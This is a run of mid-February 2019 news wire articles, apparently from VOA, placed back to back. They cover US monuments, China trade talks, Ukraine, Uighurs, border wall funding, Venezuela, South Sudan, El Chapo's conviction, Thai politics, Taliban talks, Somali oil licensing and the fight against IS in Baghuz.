The bill creates three new national monuments to be administered by the National Park Service and a fourth monument overseen by the Forest Service. The three park service monuments are the Medgar and Myrlie Evers Home National Monument in Mississippi and the Mill Springs and Camp Nelson national monuments in Kentucky.

FILE - The house of slain civil rights leader Medg FILE - The house of slain civil rights leader Medgar Evers is seen in Jackson, Mississippi, Jan. 29, 2008. FILE - The house of slain civil rights leader Medgar Evers is seen in Jackson, Mississippi, Jan. 29, 2008.

The Evers site was the home of the slain civil rights leader, while Mill Springs commemorates a Civil War battlefield. Camp Nelson was used as Union Army hospital and recruiting center during the Civil War. President Donald Trump proclaimed Camp Nelson a national monument last year, but the bill gives it permanent, congressionally approved protection.



The bill also designates the former Saint Francis Dam site in California as a national memorial and monument. The dam outside Los Angeles collapsed in 1928, killing 431 people in one of the largest tragedies in California history.



"While this monument will serve as a reminder of the consequences of a failure of infrastructure, it offers a lesson going forward," said Sen. Kamala Harris, D-Calif.U.S. and Chinese negotiators are set to kick off two days of official trade talks in Beijing on Thursday as the world's top two economies try to patch up their festering economic dispute.

Pressure to seal an accord ahead of a March deadline lessened before the talks as U.S. President Donald Trump indicated Tuesday in Washington he was open to extending a trade truce, depending on progress in Beijing.

Trump in December put on hold sharp tariff hikes on $200 billion of Chinese imports to allow time for negotiators to work out a resolution to the thorny spat.

The two countries have already slapped tariffs on more than $360 billion in two-way trade, which has weighed on their manufacturing sectors and shaken global financial markets.

U.S. officials including U.S. Trade Representative Robert Lighthizer and Treasury Secretary Steven Mnuchin will meet with China's top economic czar Liu He and central bank governor Yi Gang as the two sides aim to build on progress made in Washington last month.

U.S. Treasury Secretary Steven Mnuchin, a member o FILE - U.S. Treasury Secretary Steven Mnuchin, a member of the U.S. trade delegation to China, waves to the media upon his arrival at a hotel in Beijing, China, Feb. 12, 2019. FILE - U.S. Treasury Secretary Steven Mnuchin, a member of the U.S. trade delegation to China, waves to the media upon his arrival at a hotel in Beijing, China, Feb. 12, 2019.

Lower level officials arrived earlier for what the White House called preparatory meetings starting Monday.

Expectations for a trade deal have grown as China faces pressure from slowing economic growth, and swooning global markets rattle Trump and his economic advisers.

Chinese President Xi Jinping plans to meet with top U.S. officials in Beijing this week, a report in the South China Morning Post said Wednesday, bolstering hopes for the talks and markets in Asia.

Trump also said he expects to meet with Xi "at some point" to clinch a trade deal.

"Markets will continue to watch  and react  closely to the ups and downs of the negotiations," said Trey McArver of Trivium Research.

"But Sino-U.S. relations are all about the two leaders, and it will ultimately be up to Xi and Trump to come to a deal  or not," he wrote Wednesday in a newsletter.

Previous talks

The two sides said major progress was made in talks last month in Washington, but a wide gulf remains on some issues.

The U.S. is demanding far-reaching changes to Chinese practices that it says are unfair, including theft of U.S. technology and intellectual property, and myriad barriers that foreign companies face in the Chinese domestic market.

Beijing has offered to boost its purchases of U.S. goods, but is widely expected to resist calls for major changes to its industrial policies such as slashing government subsidies.

The International Monetary Fund warned on Sunday of a possible global economic "storm" as world growth forecasts dip, citing the U.S.-China trade row as a key pivot point.A 2015 agreement to bring peace to Ukraine's volatile east remains largely unimplemented and civilians are paying the highest price, with more than 3,300 killed and 3.5 million needing humanitarian aid this year, U.N. officials said Tuesday.

Russia's annexation of the Crimean Peninsula in early 2014 and support for separatist rebels in the east triggered a conflict with Ukrainian government forces that the U.N. says has also injured up to 9,000 civilians and displaced 1.5 million people.

Assistant Secretary-General Miroslav Jenca told the Security Council that negotiations appear to have lost momentum, with Russia and Ukraine unable or unwilling to agree on key steps forward or too distracted to focus on implementing the 2015 agreement.

Russia's U.N. Ambassador Vassily Nebenzia addresse Russia's U.N. Ambassador Vassily Nebenzia addresses the United Nations Security Council, at U.N. headquarters, Sept. 17, 2018. Russia's U.N. Ambassador Vassily Nebenzia addresses the United Nations Security Council, at U.N. headquarters, Sept. 17, 2018.

Russian Ambassador Vassily Nebenzia and Ukrainian Ambassador Volodymyr Yelchenko blamed each other for the failure to implement the agreement signed in the Belarus capital, Minsk.

Jenca, who is in charge of European affairs, stressed that the conflict in eastern Ukraine is not dormant. It is a conflict in the heart of Europe which continues to claim victims, he said.

Jenca said the main parties have committed to over a dozen cease-fires since the start of the conflict, but each one was regrettably, short-lived.

The Organization for Security and Cooperation's monitoring mission in Ukraine reports that the military positions of both sides are coming closer to each other in the gray areas near the so-called contact line, he said. The use of heavy weapons and their deployment in the proximity of the contact line is a reality.

Assistant Secretary-General for Humanitarian Affai Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator Ursula Mueller speaks during a Security Council meeting on the situation in Syria, April 25, 2018, at United Nations headquarters. Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator Ursula Mueller speaks during a Security Council meeting on the situation in Syria, April 25, 2018, at United Nations headquarters.

Ursula Mueller, the U.N.'s deputy humanitarian chief, said the conflict is causing severe humanitarian problems, noting that many of the 3.5 million people who need aid are elderly, women and children.

Many are struggling to access schools, hospitals and other essential services, she said. Many have lost their jobs, homes, family members and friends.

Mueller said the U.N. has appealed for $162 million this year to aid 2.3 million people.

Ertugrul Apakan, Chief Monitor of the OSCE Special Ertugrul Apakan, Chief Monitor of the OSCE Special Monitoring Mission to Ukraine, addresses a news conference at OSCE's headquarters in Vienna, Feb. 5, 2015. Ertugrul Apakan, Chief Monitor of the OSCE Special Monitoring Mission to Ukraine, addresses a news conference at OSCE's headquarters in Vienna, Feb. 5, 2015.

Ertugrul Apakan, chief of the OSCE monitoring mission in Ukraine, told the council by video that many people use checkpoints in eastern Donetsk and Luhansk to receive pensions and see families separated by the conflict. Since December, he said, there have been 14 cases of people who died from natural causes while waiting at the checkpoints.

Mueller said most of those who died this year were elderly. People wait for several hours in freezing temperatures to cross the contact line, and she urged better conditions and additional crossing points, especially in Luhansk where there is only one.

Before the meeting, eight former and current European Union members of the Security Council issued a joint statement urging humanitarian access to areas not under Ukrainian government control.

They called on Russia to immediately stop fueling the conflict by providing financial and military support to the separatists and reiterated their opposition to Moscow's annexation of Crimea. Nonetheless, they said, they remain convinced that a peaceful resolution of the conflict is possible.

Nebenzia said Russia called the council meeting to discuss implementation of the 2015 agreement, declaring that the situation in southeastern Ukraine remains explosive with positions now too close to each other at some locations. He said Ukraine comprehensively and consciously ignores and sabotages the Minsk agreements and our Western partners cover up for all of its unlawful acts.

Ukrainian Ambassador the the United Nations Volody Ukrainian Ambassador the the United Nations Volodymyr Yelchenko speaks during a security council meeting about the escalating tensions between the Ukraine and Russia at United Nations headquarters, Nov. 26, 2018. Ukrainian Ambassador the the United Nations Volodymyr Yelchenko speaks during a security council meeting about the escalating tensions between the Ukraine and Russia at United Nations headquarters, Nov. 26, 2018.

Ukraine's Yelchenko countered that it is only Russia and its ongoing military activity in the occupied territories of the Donetsk and Luhansk regions of Ukraine as well as in Crimea that constitute for now an unsurmountable obstacle for the peaceful resolution of the conflict.ISTANBUL - China has issued a travel warning to its residents visiting Turkey, in a move seen as targeting Turkey's large tourism industry. The advisory is the latest escalation in bilateral tensions after Hami Aksoy, a spokesman for the Turkish foreign ministry, condemned China's treatment of its Uighur minority.

In a statement, Aksoy said 1 million Uighurs have been arbitrarily detained and subjected to torture and brainwashing. Beijing swiftly shot back, calling the Turkish statement "vile." Chinese officials called on Ankara to withdraw what they described as "false accusations."

The northwest Xinjiang region of China, home to most of the country's Uighurs, has been under heavy police surveillance after years of ethnic tensions that have sometimes exploded into violence.

The Chinese government calls its crackdown a counterterrorism effort.

In the past, Turkish President Recep Tayyip Erdogan advocated for the rights of Uighurs, who are ethnically related to modern-day Turks, and the country often received Uighurs seeking asylum. In recent years, however, analysts say booming trade with China became more of a priority for Erdogan and his government.

"They stopped talking about this burning issue, preferring an economic relationship with this giant country," political scientist Cengiz Aktar said.

China Turkey FILE - Chinese President Xi Jinping, left, shows the way for Turkey's President Recep Tayyip Erdogan as they attend a signing ceremony at the Great Hall of the People in Beijing, July 29, 2015. FILE - Chinese President Xi Jinping, left, shows the way for Turkey's President Recep Tayyip Erdogan as they attend a signing ceremony at the Great Hall of the People in Beijing, July 29, 2015.

Erdogan is a conservative Muslim and has been increasingly positioning himself as a defender of global Muslim rights. The Turkish leader regularly condemns Burma's treatment of Rohingya Muslims, and he is vocal in his support for the Palestinians.

Aktar said the growing international condemnation of Beijing over its treatment of Uighurs forced Ankara to speak out.

"The issue became universal, and there were reactions all over the world especially from non-Muslim countries. So, [Turkey] felt simply compelled to react to it," he said.

Election politics also is a factor, with Erdogan's AKP Party competing in hotly contested local polls next month. Analysts say backing the Uighurs will play well among religious, conservative voters.

Analysts expect Beijing to impose further economic sanctions on Ankara, meaning the price Turkey will pay for standing up for the Uighurs in China could be considerable.WHITE HOUSE - U.S. President Donald Trump said Wednesday that he has made no decision on whether to sign proposed bipartisan legislation for limited new barrier construction along the U.S.-Mexico border in order to avert another partial government shutdown Friday over the dispute.

"We'll be looking for land mines [in the bill]" but "we have not gotten it yet," Trump said in response to reporters in the Oval Office during a meeting with Colombian President Ivan Duque.

The president, however, indicated he was pleased with preliminary figures in the border security deal worked out by a committee of Republicans and Democrats, saying "total funding is almost up to $23 billion, it's about 8 percent higher."

Trump called Democrats stingy when it comes to funding for the wall.

"We're building a lot of wall right now with money that we already have," added Trump, explaining that there are "a lot of options" to complete the border barrier's construction.

"We're going to have a great wall, it's going to be a great, powerful wall" with technology, including drones, explained the president.

"I don't want to see a shutdown. A shutdown would be a terrible thing," Trump said.

The bipartisan agreement reached by lawmakers gives Trump less than a quarter of the $5.7 billion he has been demanding for wall construction, which was a centerpiece of his 2016 presidential campaign.

Senate Judiciary Committee Chairman Lindsey Graham FILE - Senate Judiciary Committee Chairman Lindsey Graham, R-S.C., arrives at the Capitol on the morning after House and Senate negotiators worked out a border security compromise hoping to avoid another government shutdown, in Washington, Feb. 12, 2019. FILE - Senate Judiciary Committee Chairman Lindsey Graham, R-S.C., arrives at the Capitol on the morning after House and Senate negotiators worked out a border security compromise hoping to avoid another government shutdown, in Washington, Feb. 12, 2019.

Senator Lindsey Graham said he thinks the president will work with the expected legislation.

"If you can use the money the way he envisions for barriers and there is no limit on bed space in reality, he'd be inclined to take the deal and move on," Graham, who said he spoke to Trump on Tuesday night, told reporters.

Graham said if the deal moves forward, Trump likely would seek from other places the remainder of the money needed to build a wall along the U.S. southern border and was "very inclined" to declare a national emergency to get those funds.

In a speech later in the day to a conference of police chiefs and sheriffs, Trump promised that as he considers the new proposal from Congress, "I will never waiver from my sacred duty to defend this nation and keep its people safe. We will get the job done."

U.S. President Donald Trump delivers remarks at th U.S. President Donald Trump delivers remarks at the Major County Sheriffs and Major Cities Chiefs Association Joint Conference in Washington, Feb. 13, 2019. U.S. President Donald Trump delivers remarks at the Major County Sheriffs and Major Cities Chiefs Association Joint Conference in Washington, Feb. 13, 2019.

The president told law enforcement officials that the new border barrier that is "on its way" is a "big wall, a strong wall."

Trump also characterized politicians who have been critical of immigration and border patrol officers as those "on the extreme edge of the political spectrum." He said those on the "radical left" are "going further and further left all the time. And that's not good."

Trump suggested Tuesday that he would tap other government funds for wall construction without express authorization from Congress. Such a move would invite a legal challenge from opposition Democrats and other groups.

Neither the Senate nor the House of Representatives has voted yet on the legislation as aides continue to craft final language in the measure. To avert a new shutdown, both chambers have to approve the legislation, and Trump has to sign it before Friday midnight, when numerous federal agencies, including Homeland Security  which controls border operations again run out of money.

Under Trump, Congress has not authorized any funding for a wall, one of Trump's prime pledges during his successful 2016 campaign for the White House. But wall repairs and replacements for deteriorating sections along the 3,200-kilometer border have been ongoing.

Senate Minority Leader Sen. Chuck Schumer of N.Y., FILE - Senate Minority Leader Sen. Chuck Schumer of N.Y., center, leaves a news conference following a Senate policy luncheon after House and Senate negotiators worked out a border security compromise hoping to avoid another government shutdown on Capitol Hill, Feb. 12, 2019. FILE - Senate Minority Leader Sen. Chuck Schumer of N.Y., center, leaves a news conference following a Senate policy luncheon after House and Senate negotiators worked out a border security compromise hoping to avoid another government shutdown on Capitol Hill, Feb. 12, 2019.

The top leaders in the Senate, Republican Mitch McConnell and Democrat Chuck Schumer, both called on Trump to sign the compromise barrier funding legislation.

"I strongly urge the president to sign this agreement," Schumer said Tuesday. "No one gets everything they want in these agreements. But the president must sign it and not, not, not cause another shutdown."

The package calls for new barriers in the Rio Grande Valley in southern Texas, as well as technology upgrades for screening at border entry points, more customs officers and humanitarian aid.Colombian President Ivan Duque says he wants to put an end to the brutal dictatorship in Venezuela.

Duque was in Washington Wednesday where he met with President Donald Trump to talk about efforts to drive Venezuelan President Nicolas Maduro from power.

Trump said Venezuela is in turmoil. People are being treated so badly. Im not happy about it.

Trump said he is looking at all options, but gave no details. He has said is not ruling out military intervention, but has yet to say under what conditions he would send in U.S. forces.

Monday speech in Miami

The White House said late Wednesday Trump will speak about Venezuela at Florida International University in Miami on Monday. The school is in a neighborhood that has the largest concentration of Venezuelans in the United States.

The U.S., Canada and about 50 other countries from Latin America and Europe recognize opposition leader Juan Guaido as Venezuelas president.

Support for Guaido

Guaido leads the National Assembly and used the constitution to declare Maduros government illegitimate because of a fraudulent election and declared himself interim president.

Trump called Guaido very brave, adding, I think its going to work out with Maduros ouster.

Duque said, We need to give (Guaido) even stronger support to lead Venezuela.

Trump said Maduros refusal to let humanitarian aid, mostly supplied by the U.S., from crossing the Colombian border into Venezuela is showing bad faith. There are people starving.

Duque said, Obstruction of humanitarian aid is a crime against humanity.

Venezuelans liIne up as they cross the Colombian-V Venezuelans liIne up as they cross the Colombian-Venezuelan border over the Simon Bolivar International Bridge outskirts of Cucuta, Colombia Feb. 13, 2019. Venezuelans liIne up as they cross the Colombian-Venezuelan border over the Simon Bolivar International Bridge outskirts of Cucuta, Colombia Feb. 13, 2019.

Colombia has taken in the vast majority of the more than 2 million Venezuelans fleeing the chaos, poverty and political violence in their homeland. But the humanitarian aid has been blocked, with Maduro contending that to let it in would lead to a U.S. military invasion.

Guaido said he is sure that the humanitarian aid will enter Feb. 23. We have almost 300,000 Venezuelans who will die if the aid doesnt enter.

While Trump has refused to rule out a U.S. military intervention in Venezuela, Congressman Eliot Engel, the Democratic chairman of the House Foreign Affairs Committee, said at the outset of a congressional hearing that lawmakers would not support it.?

Not an option

I do worry about the presidents saber rattling, his hints that U.S. military intervention remains an option, Engel said Wednesday. I want to make clear to our witnesses and to anyone else watching: U.S. military intervention is not an option.

Engel said he appreciates the need for sanctions against the Venezuelan state oil company. But he warned that the White House must think through the potential repercussions that these sanctions could have on the Venezuelan people if Maduro does not leave office in the coming weeks.

Elliott Abrams, the Trump administrations special representative for Venezuela, said U.S. sanctions against the South American nations gold, financial and oil markets have created enormous pressure on Maduro and his band of thieves. Weve frozen bank accounts, we have revoked visas of those who benefit from their corruption and complicity.Officials in South Sudan's Yei River State say thousands of people who fled their homes during fighting over the past two weeks are without food or clean water.

The Relief and Rehabilitation Commission in Yei River County says that up to 6,000 internally displaced persons (IDPs) are living under trees on the outskirts of Yei town. Other local residents fled across the border into the northern Democratic Republic of Congo.

The residents fled fighting between government forces and National Salvation Front rebels led by Thomas Cirillo. Witnesses told VOA's South Sudan in Focus that soldiers killed civilians, raped women, and burned entire villages.

Jane Dawa said displaced villagers like herself have nothing to eat.

"Since we arrived here five days ago after fleeing our village, we have not been given any food, pans, and even blankets. We are suffering, and children are crying amidst us because they are hungry and there is no food," Dawa told VOA.

James Guya, a father of six who also fled with his children to the shelter outside Yei, said women and children are especially in need of help.

"We ran to this place because we witnessed bad things in our village. We are staying here without access to clean water. Children are drinking [and] washing with dirty water. We are calling on the government and NGOs to rescue us from this situation," Guya told South Sudan in Focus.

Lack of funds

Moses Mabe, relief and rehabilitation commission coordinator for Yei River County, said county and state governments lack the funds needed to help. "The government is unable to help and sustain these people," he said.

Several humanitarian organizations operating in the area said they also lack the funds necessary to provide humanitarian assistance to the displaced.

"We have little resources to respond to this overwhelming population on a daily basis," said Dara Felix, program manager for United Methodist Committee on Relief in Yei River State. "We are appealing to the partners at Juba level to avail resources so that partners on the ground can intervene effectively to this kind of crisis."

Humanitarian access

Eujin Byun, the UNHCR communications officer in Juba, is urging the warring parties to end the fighting and to guarantee the safety of humanitarian workers trying to intervene.

"We have an access challenge to those IDPs and we have been blocked by the parties to the conflict, and that is why we are calling on all parties to the conflict to ensure free civilian movement and access for humanitarian actors," Byun told South Sudan in Focus.

Chapter two of South Sudan's revitalized peace agreement signed in September urges the parties to respect the free movement of all civilians and give free access to humanitarian workers.MEXICO CITY - Joaquin "El Chapo" Guzman, Mexico's most notorious kingpin, shipped tons of drugs around the world, escaped two maximum-security prisons and became one of the world's most-wanted fugitives.

The 61-year-old now faces the prospect of life in prison.

Jurors on Tuesday found Guzman guilty of all 10 counts, including running a criminal enterprise, in a trial that began in November in New York.

The audacious exploits of "El Chapo," or "Shorty," captured the world's imagination and turned him into a folk hero for some in Mexico, despite the thousands of people killed by his brutal Sinaloa cartel.

Beyond putting Guzman's personal life and drug dealings on public display, the case has also highlighted Mexico's longtime fight to bring down its chief adversary in the bloody war on drug trafficking.

In January 2016, after some three decades running drugs, Guzman was caught in his native northwestern state of Sinaloa.

Six months earlier, he had humiliated Mexico's then-president, Enrique Pena Nieto, by escaping from prison through a mile-long (1.6-km-long) tunnel dug straight into his cell and equipped with a motorbike - his second time escaping a Mexican penitentiary.

Federal Police officer stands in the tunnel where Federal Police officer stands in the tunnel where according to authorities drug lord Joaquin "El Chapo" Guzman made his escape from the Altiplano maximum security prison in Almoloya, west of Mexico City, July 16, 2015. Federal Police officer stands in the tunnel where according to authorities drug lord Joaquin "El Chapo" Guzman made his escape from the Altiplano maximum security prison in Almoloya, west of Mexico City, July 16, 2015.

Just days after his 2016 capture, Guzman's larger-than-life reputation was sealed when U.S. movie star Sean Penn published a lengthy account of an interview he conducted with the drug lord, which the Mexican government said was "essential" to his capture a few months later.

"I supply more heroin, methamphetamine, cocaine and marijuana than anybody else in the world. I have a fleet of submarines, airplanes, trucks and boats," Penn said Guzman told him at the drug lord's mountain hideout.

Mexico's government extradited Guzman in January 2017, a day before Donald Trump took office as U.S. president on vows to tighten border security to halt immigration and drug smuggling.

Mexico's top drug lord Joaquin "El Chapo" Guzman i Mexico's top drug lord Joaquin "El Chapo" Guzman is escorted as he arrives at Long Island MacArthur airport in New York, Jan. 19, 2017, following his extradition from Mexico. Mexico's top drug lord Joaquin "El Chapo" Guzman is escorted as he arrives at Long Island MacArthur airport in New York, Jan. 19, 2017, following his extradition from Mexico.

Guzman's legendary reputation in the Mexican underworld began taking shape when he staged his first jailbreak in 2001 by bribing prison guards, before going on to dominate drug trafficking along much of the Rio Grande.

However, many in towns across Mexico remember Guzman better for his squads of hit men who committed thousands of murders, kidnappings and decapitations.

Violence began to surge in 2006 as the government launched a war on drug trafficking that splintered criminal groups and sent killings spiraling. Mexico has registered more than 250,000 homicides since then, including a record number of killings last year.

Guzman's Sinaloa Cartel went on smuggling hundreds of tons of heroin, cocaine, marijuana, and crystal meth across Mexico's border with the United States.

In February 2013, the Chicago Crime Commission dubbed him the city's first Public Enemy No.1 since Al Capone.

Elusive Kingpin

Security experts concede the 5-foot-6-inch (1.68 meter) gangster was exceptional at what he did, managing to outmaneuver, outfight or outbribe his rivals to stay at the top of the drug trade for over a decade.

Rising through the ranks of the drug world, Guzman carefully observed his mentors' tactics and mistakes, forging alliances that kept him one step ahead of the law for years.

Mexican soldiers and U.S. agents came close to Guzman on several occasions, but his layers of bodyguards and spies always tipped him off before they stormed his safe houses.

In preparing for a raid in 2014, U.S. officers restricted information to a small group for fear of corruption among Mexican law enforcement, Drug Enforcement Administration agent Victor Vasquez testified in Guzman's trial.

Sinaloa Roots

Guzman was born in La Tuna, a village in the Sierra Madre mountains in Sinaloa state where smugglers have been growing opium and marijuana since the early 20th century.

He ascended in the 1980s, working with Miguel Angel Felix Gallardo, alias "The Boss of Bosses," who pioneered cocaine smuggling routes into the United States.

The aspiring capo came to prominence in 1993 when assassins who shot dead Roman Catholic Cardinal Juan Jesus Posadas claimed they had actually been aiming at Guzman.

Two weeks later, police arrested him in Guatemala and extradited him to Mexico. During his eight-year prison stay, Guzman smuggled in lovers, prostitutes and Viagra, according to accounts published in the Mexican media.

After escaping, Guzman expanded his turf by sending in assassin squads with names such as "The Ghosts" and "The Zeta Killers," in reference to the rival Zetas gang.

Guzman hid near his childhood home, agents said, but rumors abounded of him visiting expensive restaurants and paying for all the diners.

In 2007, Guzman married an 18-year-old beauty queen in an ostentatious ceremony in a village in Durango state.

Emma Coronel Aispuro, the wife of Joaquin Guzman, Emma Coronel Aispuro, the wife of Joaquin Guzman, departs after the trial of Mexican drug lord Guzman, known as "El Chapo," at the Brooklyn Federal Courthouse, in New York, Feb. 12, 2019. Emma Coronel Aispuro, the wife of Joaquin Guzman, departs after the trial of Mexican drug lord Guzman, known as "El Chapo," at the Brooklyn Federal Courthouse, in New York, Feb. 12, 2019.

The state's archbishop subsequently caused a media storm when he said that "everyone, except the authorities," knew Guzman was living there. Guzman's bride, Emma Coronel, gave birth to twins in Los Angeles in 2011.

She attended nearly every day of her husband's trial in New York, at one point donning a red blazer that matched his own.

Waging War

Between 2004 and 2013, Guzman's gangs fought in all major Mexican cities on the U.S. border, turning Ciudad Juarez and Nuevo Laredo into some of the world's most dangerous places.

In one such attack, 14 bodies were left mutilated under a note that read, "Don't forget that I am your real daddy," signed by "El Chapo."

Guzman's Sinaloa cartel often clashed with the Zetas, a gang founded by former Mexican soldiers, arming its crew with rocket-propelled grenades and heavy machine guns.

In 2008, hit men working for a rival murdered Guzman's son Edgar, a 22-year-old student. Guzman reportedly left 50,000 flowers at his son's grave.

In the 1990s, Guzman became infamous for hiding several tons of cocaine in cans of chili peppers. In the following decade, his crew took drugs in tractor-trailer trucks to major U.S. cities, including Phoenix, Los Angeles and Chicago, indictments say.

Forbes magazine put the kingpin's wealth at $1 billion, though investigators say it is impossible to know exactly how much he was worth.Thailand's election commission is calling for the dissolution of the political party that nominated a member of the royal family as its candidate for prime minister.

The commission filed a request with the Constitutional Court Wednesday to disband the Thai Raksa Chart party because it violated the country's system of a constitutional monarchy alongside a democratically elected government.

The Thai Raksa Chart party last Friday nominated Princess Ubolratana Mahidol to run for prime minister in the March 24 general election. The 67-year-old Princess Ubolratana gave up her royal titles after her marriage in 1972 to an American, whom she has since divorced. But King Maha Vajiralongkorn overruled the move as inappropriate and unconstitutional, saying Ubolratana is still a member of the royal family. The Election Commission formally disqualified her on Monday.

In a message on her social media account, Ubolrantana expressed remorse that "my genuine intention to help work for the country and all Thai people has created a problem that should not happen in this day and age." The message ended with the hashtag theme "#howcomeitsthewayitis."

The move to dissolve Thai Raksa Chart is notable because it is aligned with the Pheu Thai, the main political party of ousted prime minister Thaksin Shinawatra. Thaksin remains popular among Thailand's rural majority, and his affiliated parties have won every general election since 2001.

Thaksin and the royalists have been quarreling for most of the last two decades in a bitter feud that has fueled bloodshed and two coups, including one in 2014 that returned the country to its current state of military rule.ISLAMABAD, PAKISTAN - American and Taliban officials are set to meet Monday in Pakistan for a new round of direct peace negotiations aimed at paving the way for a political settlement to the 17-year war in Afghanistan.

Until now, the Gulf states of Qatar and the United Arab Emirates have played host to the meetings where U.S. special representative for Afghan reconciliation, Zalmay Khalilzad, and senior insurgent negotiator, Sher Muhammad Abbas Stanikzai, led their respective delegations.

In their last meeting held in Doha, the Qatari capital, both sides had agreed on a framework for a possible U.S. troop withdrawal in exchange for Taliban counterterrorism guarantees, saying they would set up two working groups to flesh out the parameters before their next encounter.

Special Representative for Afghanistan Reconciliat FILE - Special Representative for Afghanistan Reconciliation Zalmay Khalilzad speaks on the prospects for peace at the U.S. Institute of Peace in Washington, Feb. 8, 2019. FILE - Special Representative for Afghanistan Reconciliation Zalmay Khalilzad speaks on the prospects for peace at the U.S. Institute of Peace in Washington, Feb. 8, 2019.

Taliban spokesman Zabihullah Mujahid announced Wednesday the Feb. 18 meeting has been scheduled to take place in Islamabad at the formal invitation of the government in Pakistan. A senior Pakistani foreign ministry official confirmed this development to VOA on the condition of anonymity.

In his statement, Mujahid said insurgent delegates during their visit also will meet with Pakistani Prime Minister Imran Khan to discuss relations between their two neighboring countries and issues facing Afghan refugees and Afghan businesses.

Pakistan maintains it has arranged ongoing U.S.-Taliban negotiations to help promote peace and reconciliation in Afghanistan.

On Tuesday, the Taliban announced its 14-member team of negotiators, some of them based in Qatar with others allegedly in Pakistan.

The ongoing U.S. talks with the Taliban have generated hopes for jump-starting an intra-Afghan inclusive peace process to determine the war-shattered country's political future.

While delivering a public talk in Washington last week, Khalilzad cautioned it was too early to draw any conclusions. "Nothing is agreed until everything has been agreed to. ... The Afghans must sit across the table with each other and come to an agreement about the future of their country," the U.S. envoy emphasized.

Washington and Kabul have long accused Islamabad of sheltering Taliban leaders on its soil  charges Pakistani officials reject.

But Khalilzad acknowledged in his public talk Pakistan's "positive" role, saying the country "has tried to facilitate talks between the Taliban and the U.S. and also favors intra-Afghan dialogue, including between the Taliban and the government [in Kabul]."The Somali government says it will award exploration licenses to foreign oil companies later this year, despite calls from the opposition to wait until laws and regulations governing the oil sector are in place.

Seismic surveys conducted by two British companies, Soma Oil & Gas and Spectrum Geo, suggest that Somalia has promising oil reserves along the Indian Ocean coast, between the cities of Garad and Kismayo. Total offshore deposits could be as high as 100 billion barrels.

Kismayo

The government says it will accept bids for exploration licenses on November 7, and the winners will be informed immediately. It says production-sharing agreements will be signed on December 9, with the agreements going into effect on January 1, 2020.

We have presented our wealth and resources to the companies, Petroleum Minister Abdirashid Mohamed Ahmed told the VOA Somali program Investigative Dossier. We held a roadshow in London [last week], and we will hold two more in two major cities so that we turn the eyes of the world to contest Somalia.

But several lawmakers have expressed concern the government is moving too quickly. Last week, the head of the National Resource committee in the Upper House of Parliament accused President Mohamed Abdullahi Mohameds government of a lack of due diligence and violating the constitution.

Barnaby Pace, an investigator for the NGO Global Witness, which exposes corruption and environmental abuses, says Somalia, after decades of internal conflict, does not have the legal and regulatory framework to handle oil deals and the problems they can cause, such as environmental abuses, corruption, and political fights over revenue.

There is not a clear consensus about how the oil sector could be managed in Somalia, he said. And once Somalia makes deals like the one its proposing, it may be locked in for many years and find it difficult to renegotiate or change them to best protect itself.

Former oil officials speak out

Somalia's parliament passed a Petroleum Law to govern oil sector in 2008 when the country operated under a transitional charter. But constitutional experts say that law was nullified after a constitution was ratified in 2012.

A proposed new law is now before parliament for debate. The bill says negotiations for oil-related contracts will be the responsibility of the Somali Petroleum Agency, which would not be formed until the law is passed.

Ahmed said governments timetable for awarding licenses is just tentative, though he believes the government can keep to its schedule.

But Somali lawmakers and opposition leaders are worried the government is in a needless rush.

Jamal Kassim Mursal was permanent secretary of the Somali Petroleum Ministry until last month when he resigned.

He says when the government came to power in 2017, the ministry was informed that bids for oil exploration licenses would not be considered until the Petroleum Law was passed and we are ready with the knowledge and skills.

Since then, he told VOA, Nothing has changed  petroleum law is not passed, tax law is not ready, capacity has not changed, institutions have not been built.

Abdirizak Omar Mohamed is the former petroleum minister who signed the 2013 seismic study agreement with Soma Oil & Gas.

Mohamed said the country needs political consensus and stability before oil drilling. He notes that a resource-sharing agreement between the federal government and Somali federal states has yet to be endorsed by the parliament.

No company is going to start drilling without agreement with regions, says Mohamed. So why rush? Its not good for the reputation of the country.

Soma and Spectrums advantage

Mursal also objects to an agreement that gives first choice of oil exploration blocks to Soma Oil & Gas, one of the companies that conducted the seismic studies.

According to the agreement, Soma Oil & Gas will choose 12 blocks or 60,000 square kilometers to conduct oil exploration. Among these are two blocks believed to contain large oil reserves near the town of Barawe.

He says the government needs to renegotiate and offer just two blocks instead.

This is the one that is causing the alarm, he said. He predicts that if Soma Oil & Gas gets to choose 12 blocks, the company will "flip" some of the blocks to the highest bidder.

In 2015, Soma Oil & Gas was caught up in controversy after allegations of quid pro quo payments to the Somali Ministry of Petroleum. The payments were termed as capacity building. The following year, Britain's Serious Fraud Office closed the case because it could not prove that corruption took place.



Somalia's current prime minister, Hassan Ali Khaire, was working for Soma Oil & Gas at time. Somali officials say that since taking office, Khaire has relinquished his stake in the company, said to be more than 2 million shares.

The other company that conducted seismic surveys, Spectrum, also made payments to the Somali Ministry of Finance, according to Mursal.

Mursal told Investigative Dossier that between 2015 and 2017, Spectrum paid $450,000 every six months to the ministry.

A senior official who previously was involved in the Ministry of Petroleum told VOA that Spectrum paid $1.35 million in all. He said the payment was consistent, though, with the advice of the Financial Governance Committee, a body consisting on Somali and donors which gives financial advice to Somalia.

Spectrum has not yet responded to Investigative Dossier requests for an interview.

Current Petroleum Minister Ahmed said the government will do what is best for Somalia, but needs to have a law governing the oil sector in place.

The parliament has the petroleum law," he said. "Without it being passed, we cant touch anything.Islamic State fighters are resorting to producing acrid smoke and leveling suicide attacks to hamper the advances of the U.S.-backed forces on their last stronghold in eastern Syria, eyewitnesses and sources on the ground tell VOA.

In an attempt to make one final stand in the Syrian town of Baghuz, IS fighters are now burning tires to produce smoke to prevent U.S.-led airstrikes and have intensified suicide attacks against U.S.-backed Syrian Democratic Forces (SDF), local sources said.

The IS tactics have slightly slowed progress of the U.S.-backed forces into Baghuz, SDF officials said.

Baghuz, Syria

"Unlike previous battles, where [IS] terrorists would just retreat, the Baghuz battle is a life-or-death matter for them," said Mushin Khalil, a Syrian reporter covering the battle on the ground.

Khalil said at least 14 SDF fighters were killed Tuesday in an IS counterattack that involved a suicide bomber.

There are an estimated 1,000 IS fighters inside Baghuz who are refusing to surrender, Kurdish military officials told VOA.

Lilwa Abdullah, a spokeswoman for the anti-IS campaign in eastern Syria, told Arta FM, a local radio station, that U.S.-backed forces on Tuesday arrested a significant number of IS fighters on the outskirts of Baghuz.

WATCH: IS Using Suicide Attacks, Fires to Slow Syrian Advance

US account

U.S. officials say IS fighters in the town are now surrounded.

